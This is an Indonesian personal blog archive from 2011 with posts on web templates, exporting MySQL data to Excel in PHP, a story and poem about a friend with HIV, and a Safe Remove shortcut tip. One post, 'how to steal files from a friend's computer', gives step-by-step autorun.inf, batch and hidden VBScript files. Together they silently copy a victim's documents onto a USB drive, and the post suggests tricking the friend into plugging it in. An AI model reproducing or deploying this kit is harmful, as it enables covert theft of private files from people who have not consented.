Jumat, 18 November 2011

Best Web Template (MegaPack)


Buat rekan-rekan pembaca blog saya. Kali ini saya akan membagikan koleksi template web yang menurut saya sangat bagus. Meskipun masih ada template lain yang memang bagus dengan animasi menawan jquery dan lain sebagainya, tetapi menurut saya koleksi ini sudah mumpuni dan clean design. Dibuat berdasarkan CSS dan tableless dengan animasi transisi gambar jquery, membuat kian ciamik. Semoga Web template ini bisa memberikan inspirasi bagi pembaca semuanya.

Ekspor Data MySQL ke Excel dengan PHP


 
Alhamdulillah, sudah lama tidak nge-blog akhirnya kesampean juga. Pada pembahasan kali ini, saya akan membagikan sintaks untuk ekspor data dari MySQL (database) ke format Microsoft Excel (.xls). Tentunya masih menggunakan sintaks PHP tercinta. Sebenarnya isi pada artikel ini, saya merujuk dari postingan dari Blog-nya Pak Rosihan Ari Yuana, dan semoga bisa menjadi pelengkap karena kemarin saya melakukan coding ekspor data MySQL ke dalam format Excel, tetapi rekan saya (thanks for Lida Pratiwi Puteri) memberikan contoh kode yang lebih simple dan menurut saya pribadi lebih mantap tetapi hasilnya sama. Nah, langsung saja untuk memperjelas cara untuk ekspor data (dapat juga membuat report) ke dalam format Excel, berikut ini langkah-langkahnya.
1. Buka text editor kesukaan Anda, kalo saya menggunakan Notepad++ karena bagus, tampilan warna-warni, lengkap, stabil, dan cepat aksesnya.
2. Buatlah file koneksi secara terpisah untuk menyambungkan ke database. Kemudian juga pilih pada TABEL mana yang akan diekspor. Pada contoh berikut ini saya menggunakan tabel “perumahan”.
Berikut ini adalah file koneksinya (koneksi.php):
<!--?php
mysql_connect("localhost","root","");
mysql_select_db("drasticdata");
?-->
Sedangkan ini syntax SQL untuk tabel perumahan:
CREATE TABLE IF NOT EXISTS `perumahan` (
  `id_perumahan` INT(5) NOT NULL AUTO_INCREMENT,
  `nama_perum` VARCHAR(100) NOT NULL,
  `alamat` tinytext NOT NULL,
  `id` INT(5) NOT NULL,
  `daerah` VARCHAR(10) NOT NULL DEFAULT '''Bogor''',
  `jumlah_dibangun` INT(10) NOT NULL,
  `sudah_dibangun` INT(10) NOT NULL,
  `lat` DOUBLE NOT NULL,
  `lng` DOUBLE NOT NULL,
  PRIMARY KEY (`id_perumahan`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=7 ;
 
--
-- Dumping data for table `perumahan`
--
 
INSERT INTO `perumahan` (`id_perumahan`, `nama_perum`, `alamat`,  
                         `id`, `daerah`, `jumlah_dibangun`,  
                         `sudah_dibangun`, `lat`, `lng`) VALUES
(2, 'Taman Firdaus', 'jalan soleh', 1, 'Bogor',  
    100, 1, -6.58830236192579, 106.806936571533),
(3, 'taman cimanggu', 'jalan cimanggu', 2, 'Bogor', 
    100, 12, -6.58685287383649, 106.784363100464),
(4, 'lida', 'jalan apa aja', 1, 'yeeeee bsa',  
    100, 10, -6.576280009159, 106.801700899536),
(5, 'PERUMAHAN', 'JALA', 1, 'Bogor', 90, 9, -6.5879, 106.812);
3. Setelah langkah 2 selesai, tuliskan kode dibawah ini:
<!--?php
include("koneksi.php");
$select = "select * from perumahan ";
$export = mysql_query($select);
$fields = mysql_num_fields($export);
for ($i = 0; $i < $fields; $i++) {
$header .= mysql_field_name($export, $i) . "\t";
}
while($row = mysql_fetch_row($export)) {
$line = '';
foreach($row as $value) {
if ((!isset($value)) OR ($value == "")) {
$value = "\t";
} else {
$value = str_replace('"', '""', $value);
$value = '"' . $value . '"' . "\t";
}
$line .= $value;
}
$data .= trim($line)."\n";
}
$data = str_replace("\r","",$data);
if ($data == "") {
$data = "n(0) record found!\n";
}
$tanggal=date("Ymd");
header("Content-type: application/x-msdownload");
header("Content-Disposition: attachment; 
        filename=DATA_PERUMAHAN_".$tanggal.".xls");
header("Pragma: no-cache");
header("Expires: 0");
print "$header\n$data";
?-->
 
4. Simpan menjadi nama file terserah Anda, misal “perumahan_report.php”. Kemudian jalankan melalui browser Anda.
Gimana rekan-rekan pembaca? cukup mudah bukan. Sintaks ini saya gunakan dan kemampuannya cukup baik. Meskipun saya gak tau juga siapa yang udah nyiptain algoritma ini, tapi saya merasa bersyukur karena proyeknya bisa kelar. hehe. Intinya, Maturnuwun sanget, thanks a lot, haturnuhun pisan. Semoga bisa bermanfaat bagi pembaca.
 

Selasa, 15 November 2011

KaMu tak sendiri

Ketika permata hati tak bersinar kembali sahabat Kamu tak sendiri
Waktu itu kita menjalani hidup ini dengan penuh canda ,tawa tangis dan air mata. Dia adalah sahabat yang selalu hadir disaat kita terjatuh di lubang yang sangat dalam" begitupun sebaliknya...
Sejenak aku berfikir di benakku andaikan aku bisa hidup seperti Dia dengan materi yang sangat berlimpah mungkin aku bisa merasakan sempurna hidupku” tapi kenapa tidak dengan sahabatku? Hari demi hari bulan demi kian yah demikian semua tidak berubah tidak, ada kemajuan. 
Sempat ku bertanya pada sahabatku sebutlah RS 23th hai ada apa dengan mu hidupmu sekarang lebih tidak seperti dulu lagi ceria… padahal gaya hidup seperti kamu dengan bergelimpang harta kamu bias melakukan apa  yang kamu bias, dia pun berheti sejenak memejamkan mata dan menghirup nafas panjang … sambil mengusap dadanya ….
Saat itu dia tidak mau menceritakan apa yang telah dialaminya saat ini … hidupnya pun hacur tak ada arah dan tujuan , hari hari bersamaku pun seolah olah termakan oleh waktu yang tak menentu.. lalu aku berfikir yah sudah lah mungkin kehidupan kita berbeda ibarat langit dan bumi. Dan aku sedikit demi sedikit tuk coba menjauh dari kehidupanya yang dibilang BORJUIS mungkin aku ngaca memang aku tak pantas jadi sahabatnya dia.
Berjalanlah waktu genap satu  tahun sudah kita tidak ada kabarnya dia, suatu saat dengan tidak sengaja aku liat dia duduk termenung lesu di sebuah club hiburan ..aku terheran kenapa dia bias hidup seperti ini lalu aku bawa dia pulang tetapi dia tidak mau pulang lalu ku bertanya ada apa denganmu, ada apa dengan kehidupan mu sekarang?
Awalnya dia tak mau menceritaknya .. aku support terus dan akhirnya dia mau menceritakan semuanya
Sambil menangis dia un bercerita “aku sangat malu aku sangat sedih aku sangat hancur kehidupan ku sekarang aku sangat iri dengan mu hidup di kelilingi peri peri kecil dan adik adik kecil yang lucu yang indah selalu menemanimu di saat kau terjatuh sekarang aku terluka yang mungkin tidak bisa disembuhkan, aku sangat kehilangan sosok seorang ibu , ayah, adik adikku yang selama ini bisa membuatku tertawa tapi sekarang hanya debu yang terhapus oleh air hujan yang mungkin sulit untuk ku temukan dan ku dapatkan kembali. Pertama kedua orang tua ku berpisah adik adiku sudah membenci kehidupanku sekarang dan sekarang aku harus berpijak kemana dan aku harus ku sandarkan kemana kepalaku ini ditambah sekarang aku terjangkit virus yang sangat mematikan dan belum ada obatnya yaiti HIV AIDS”
Lalu aku pun sesaat meneteskan air mata ketika dia menceritakan semuanya yang sudah terjadi sambil kutepukan tanganku di pundaknya. Lalu aku berfikir semua hidup ini pasti ada hikmahnya dan pastilah ada gunanya untuk orang banyak.
Waktu terus berjalan hidup kita pun mulai ada arah dan tujuan dia sudah mulai bisa mendekatkan diri kepada TUHAN YME lebih menghargai hidup, lebih mengerti, hidup ini bukan pilihan tetapi perjuangan yang mungkin semua orang tidak bisa melewati semudah yang kita bayangkan.
Sampai saat ini aku sangat peduli terhadap orang di sekeliling kita yang sama sepertiku aku terus berjuang di sisa hidupku untuk membuat hidup ini lebih berarti lagi …
Ketika permata tak lagi memancarkan sinar keindahannya
Ku terdiam terhempas sesaat tuk melupakannya
Buat apa permata ini jika kusimapan
Tak ada gunanya , tak ada artinya tak ada harganya
Mendingan ku kembalikan permata hati ini kepadamu Tuhan
Tuhan pun menjawab?
Hai permataku betapa indahnya permata hatimu itu
Sungguh indahnya jika permata hatimu berbagi keindahan orang di sekitarmu
Buat lah orang di sekitar mu bangga akan keindahan permata dan kerendahan hatimu
Buatlah disisa hidupmu,dengan sinarilah mereka dengan cahaya kehidupanmu
Pemataku KAU TAK SENDIRI
BANDUNG 
 














Senin, 14 November 2011

Cara mencuri file dari komputer teman

Ok, bayangkan anda sedang menghadapi ujian terakhir, dan anda belum siap, tetapi teman anda punya jawaban atau catatan penting di laptop atau di komputernya tapi tidak mau berbagi dengan anda, dan teman anda ini sedikit goblok, dan anda kepengen mencuri isi dokumen yang berada dikomputernya.
Cara mencuri data di komputernya adalah dengan pergi kerumahnya dimalam hari dengan membawa flashdisk yang digantung dileher anda, dan sembunyi2 masuk ke kamarnya dan mengcopy isi dokumen di harddisknya, jadi pencuri beneran nih? hehehehe. atau alternatif lain, kita kan temanan yah ceritanya, jadi bilang ajah gini ama dia, “Teman, aku punya lagu baru ini di flashdisk gue? mau copy ngga?” nah lalu kita copykan lagu nya ke komputer dia. (sssssttt diam2 yah!)




Kayaknya cara pertama diatas dengan menjadi pencuri beneran ngga enak yah? hehehe. langsung ajah kita pake cara halus. ikuti langkah2 berikut: Sebelumnya siapin dolo flashdisk kita (kalo bisa isinya gede)

Langkah ke-1

Buka Notepad (saya sarankan pake program Notepad++) copy dan paste kode dibawah ini.
[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat
Kemudian simpanlah di flashdisk dengan nama: autorun.inf

Langkah ke-2

Buka Notepad lagi dan copas kode berikut:
@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\My Documents\*.doc" "%drive%\all\doc"
@echo off
cls
Simpan di flashdisk anda dengan nama:file.bat

Langkah ke-3

Buka Notepad lagi dan copas kode berikut:
CreateObject("Wscript.Shell").Run """" & 
WScript.Arguments(0) & """", 0, False
Simpan di flashdisk anda dengan nama:invisible.vbs

Langkah ke-4

Buka Notepad lagi dan copas lagi kode berikut:
wscript.exe \invisible.vbs file.bat
Simpan di flashdisk anda dengan nama:launch.bat
Ok, sekarang pastikan ke-4 file tadi yang telah kita buat berada di flashdisk kita, dan buatlah folder baru dengan nama all untuk menyimpan hasil curian kita di komputer teman tadi, dimana perintah: %backupcmd% “%USERPROFILE%\My Documents\*.doc” “%drive%\all\doc”, akan menyalin semua file ber-ekstensi .doc kedalam folder “all/doc” yang berada di flashdisk kita secara otomatis waktu kita mencolokkan flashdisk kita dikomputernya, ataupun dia sendiri yang mencolokkannya dikomputernya sendiri.




Sebelum mencoba mencuri file dikomputer teman, coba dulu flashdisk kita dikomputer kita sendiri, lihat apakah bekerja dengan baik. Selamat mencoba

Cara buat shortcut di desktop untuk Safe Remove

Jika kita mencolokkan media eksternal seperti flashdisk ataupun eksternal usb harddisk ke komputer atau laptop dan kemudian mentransfer data kedalamnya. apabila media ini masih dipakai oleh komputer baik sedang menulis atau membaca data didalamnya kemudian kita cabut dengan paksa tanpa mengklik “Safe Remove Hardware” (tanda panah warna hijau) maka bisa menyebabkan kerusakan data ataupun media eksternal itu sendiri.
Kita seharusnya selalu mengklik Safe remove hardware terlebih dahulu sebelum mencabut media eksternal ini untuk memastikan tidak ada kegiatan transfer data yang sedang berlangsung dilatar belakang proses. Akan tetapi kadangkala kita lupa untuk melakukan langkah ini (ataupun malas, jadi copot ajah langsung. hihihihi)
Nah untuk memudahkan kita mengklik “safe remove hardware” (biasana kecil jadi susah diklik2 kan?), gimana kalo kita buat ajah shortcut (pintasan) di desktop.
Ikuti langkah2 dibawah ini untuk membuat pintasan Safe Remove Hardware Device ke desktop:
  1. Klik kanan mouse kalian di desktop dan klik “New
  2. Kemudian pilih Shourtcut pada list yang ditampilkan.
  3. Pada kotak “Browse” Copy/Paste Perintah berikut:
  4. RunDll32.exe shell32.dll,Control_RunDLL hotplug.dll
    Kemudian klik tombol “Next”
  5. Sekarang kita akan disuruh memberikan nama. Namakan pintasan ini seperti : Safe Remove USB, lalu klik tombol “Finish
  6. Selesai, sebuah ikon pintasan (shortcut) telah dibuat di desktop, klik ajah 2x sebelum mencabut USB flasdisk atau media eksternal lainnya dari port usb.
Shortcut ini sangat berguna apabila ikon safe remove nya tiba2 hilang di sistem tray (area notifikasi) windows. Trik ini bekerja pada semua Windows XP/Vista dan Windows 7.